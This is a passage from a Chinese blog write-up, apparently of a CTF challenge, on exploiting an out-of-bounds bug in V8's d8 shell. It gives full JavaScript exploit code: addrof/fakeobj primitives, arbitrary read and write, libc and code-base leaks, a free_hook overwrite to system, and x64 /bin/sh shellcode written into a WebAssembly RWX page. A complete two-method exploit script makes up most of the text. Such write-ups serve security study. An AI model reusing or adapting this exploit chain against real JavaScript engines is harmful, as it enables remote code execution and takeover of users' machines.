通过DataView结构可以避免这一问题。

1
2
3
4
5
6
var buffer = new ArrayBuffer(16);
var view = new DataView(buffer);
view.setUint32(0, 0x41424344, true);
console.log(view.getUint8(0, true));
%DebugPrint(view);
%SystemBreak();

通过查看DataView->buffer->backing_store,可以查看到DataView存储用的内存地址。如果覆盖了backing_store指针为tttt,之后用view.setUint(0, aaaa, true),就可以向tttt的地址写aaaa了。

1
2
3
4
5
6
7
8
9
10
11
12
13
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
data_view.setUint32(0, 0x41424344, true);
console.log(data_view.getUint8(0, true));
var backing_store = addrof(data_buf)+0x20n;

function write64_dataview(addr, value) {
write64(backing_store, addr);
data_view.setFloat64(0, i2f(value), true);
%SystemBreak();
}

write64_dataview(free_hook, system);

成功写入:

image-20191107210642439

现在可以创建有binsh的内存,然后让js引擎free掉它。

1
2
3
4
5
6
7
function pwn() {
let binsh_buffer = new ArrayBuffer(0x1000);
let binsh_view = new DataView(binsh_buffer);
binsh_view.setFloat64(0, i2f(0x0068732f6e69622fn));
}

pwn();

成功getshell!

image-20191107224938898

现在我们已经成功了一个getshell的方法 🎉🎉🎉

leak rwx segment

为之后写入wasm作准备(就像shellcode一样)。

在wasm对象中会保存和rwx page地址相关的内容。

1
Function–>shared_info–>WasmExportedFunctionData–>instance

最后在instance+0x88的位置可以读取到rwx page的起始地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,
0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,
0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,
0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,
4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

f();

var f_addr = addrof(f);
console.log("[*] wasm instance addr: "+hex(f_addr));

var shared_info_addr = read64(f_addr+0x18n)-0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr+8n)-1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr+0x10n)-1n;
var rwx_page_addr = read64(wasm_instance_addr+0x88n);

console.log("[*] rwx page: " + hex(rwx_page_addr));

getshell with wasm

在线生成网站:https://wasdk.github.io/WasmFiddle/

效果就是在js中运行c的代码。但是有限制,wasm不能在浏览器中调用系统函数。wasm只能进行数学运算,图像处理等和系统无关的高级语言代码。

虽然不能直接生成wasm的shellcode,但是可以通过漏洞将wasm中的字节码换成我们自己的shellcode。wasm的功能就是给我们rwx的段。

  • 加载一段wasm到内存中
  • 通过addrof泄露地址
  • 通过任意地址写将shellcode替换原本wasm的内容
  • 调用wasm接口,执行shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// /bin/sh for linux x64
// char shellcode[] = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f \x2f\x62\x69\x6e\x2f\x73\x68\x53 \x54\x5f\x52\x57\x54\x5e\x0f\x05";
//
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];

var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addrof(data_buf) + 0x20n;

write64(buf_backing_store_addr, rwx_page_addr);

data_view.setFloat64(0, i2f(shellcode[0]), true);
data_view.setFloat64(8, i2f(shellcode[1]), true);
data_view.setFloat64(16, i2f(shellcode[2]), true);
f();

再一次成功getshell:

image-20191107233740876

用wasm来getshell成功 🎉🎉🎉

getshell with one_gadget

在malloc_hook下断点,发现到0x188才有栈上的0,用realloc来中转应该够不到(用2.27的libc算的)。

Full Exploit

下面是完整利用的脚本,包含两种getshell的方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);

function f2i(f) {
float64[0] = f;
return bigUint64[0];
}

function i2f(i) {
bigUint64[0] = i;
return float64[0];
}

function hex(i) {
return "0x"+i.toString(16).padStart(16, "0");
}

var obj = {"a":1};
var obj_array = [obj];
var float_array = [1.1];

var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();

function addrof(obj) {
obj_array[0] = obj;
obj_array.oob(float_array_map);
let addr = f2i(obj_array[0])-1n;
obj_array.oob(obj_array_map);
return addr;
}

function fakeobj(f) {
float_array[0] = i2f(f+1n);
float_array.oob(obj_array_map);
let fake_obj = float_array[0];
float_array.oob(float_array_map);
return fake_obj;
}


var fake_array = [
float_array_map, // map
i2f(0n), // prototype
i2f(0x41414141n), // target address-0x10
i2f(0x100000000n), // length
1.1,
2.2
];

var fake_array_addr = addrof(fake_array);
var fake_obj_addr = fake_array_addr-0x30n;
var fake_obj = fakeobj(fake_obj_addr);


function read64(addr) {
fake_array[2] = i2f(addr-0x10n+1n);
let leak = f2i(fake_obj[0]);
return leak;
}

function write64(addr, value) {
fake_array[2] = i2f(addr-0x10n+1n);
fake_obj[0] = i2f(value);
}

var leak_random = 1;
var leak_stable = 1;


if(leak_random == 1) {
var a = [1.1, 2.2, 3.3];
var start_addr = addrof(a);
var leak_d8_codebase = 0n;
while(1) {
start_addr -= 0x8n;
leak_d8_codebase = read64(start_addr);
if((leak_d8_codebase&0xfffn)==0x230n
&& read64(leak_d8_codebase)==0x56415741e5894855n){
leak_d8_codebase = leak_d8_codebase-0x559a59ef7230n+0x559a597f2000n;
console.log("[*] leak code base: "+hex(leak_d8_codebase));
break;
}
}
console.log("[*] Done");
}


if(leak_stable == 1) {
var b = [1.1, 2.2, 3.3];
var code_addr = read64(addrof(b.constructor)+0x30n);
var leak_d8_codebase = read64(code_addr+0x41n)-0x56548b13b4e0n+0x56548a8f9000n;
console.log("[*] leak code base: "+hex(leak_d8_codebase));
}

leak_d8_codebase = leak_d8_codebase-0x0000561b8fc85000n+0x561b8f9f2000n;

var puts_got = leak_d8_codebase+0x0000000000d9a3b8n;
var puts_addr = read64(puts_got);

console.log("[*] puts addr: "+hex(puts_addr));
var libc_base = puts_addr-0x083cc0n;
var malloc_hook = libc_base+0x1e4c30n;
console.log("[*] malloc_hook: "+hex(malloc_hook));
var free_hook = libc_base+0x1e75a8n;
console.log("[*] free_hook: "+hex(free_hook));
var realloc_hook = libc_base+0x1e4c28n;
var system = libc_base+0x52fd0n;
console.log("[*] system: "+hex(system));
var binsh = libc_base+0x1afb84n;
//console.log(hex(binsh));
var one = [926591n, 926595n, 926598n, 1076984n];
var one_gadget = libc_base+one[3];

var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
data_view.setUint32(0, 0x41424344, true);
var backing_store = addrof(data_buf)+0x20n;

function write64_dataview(addr, value) {
write64(backing_store, addr);
data_view.setFloat64(0, i2f(value), true);
}

var getshell_hook = 0;
function pwn() {
let binsh_buffer = new ArrayBuffer(0x1000);
let binsh_view = new DataView(binsh_buffer);
binsh_view.setFloat64(0, i2f(0x0068732f6e69622fn));
}
if(getshell_hook == 1) {
write64_dataview(free_hook, system);
pwn();
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,
0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,
0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,
0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,
4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f_addr = addrof(f);
console.log("[*] wasm instance addr: "+hex(f_addr));

var shared_info_addr = read64(f_addr+0x18n)-0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr+8n)-1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr+0x10n)-1n;
var rwx_page_addr = read64(wasm_instance_addr+0x88n);

console.log("[*] rwx page: " + hex(rwx_page_addr));

var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];

var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addrof(data_buf) + 0x20n;

write64(buf_backing_store_addr, rwx_page_addr);

data_view.setFloat64(0, i2f(shellcode[0]), true);
data_view.setFloat64(8, i2f(shellcode[1]), true);
data_view.setFloat64(16, i2f(shellcode[2]), true);
f();

Other Exploits

学习一下其他人的exp。

  • 通过splice控制array紧密排布
1
a = a.splice(0);
  • 通过在fake buffer的前后gc使得内存更稳定
1
function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } }

参考: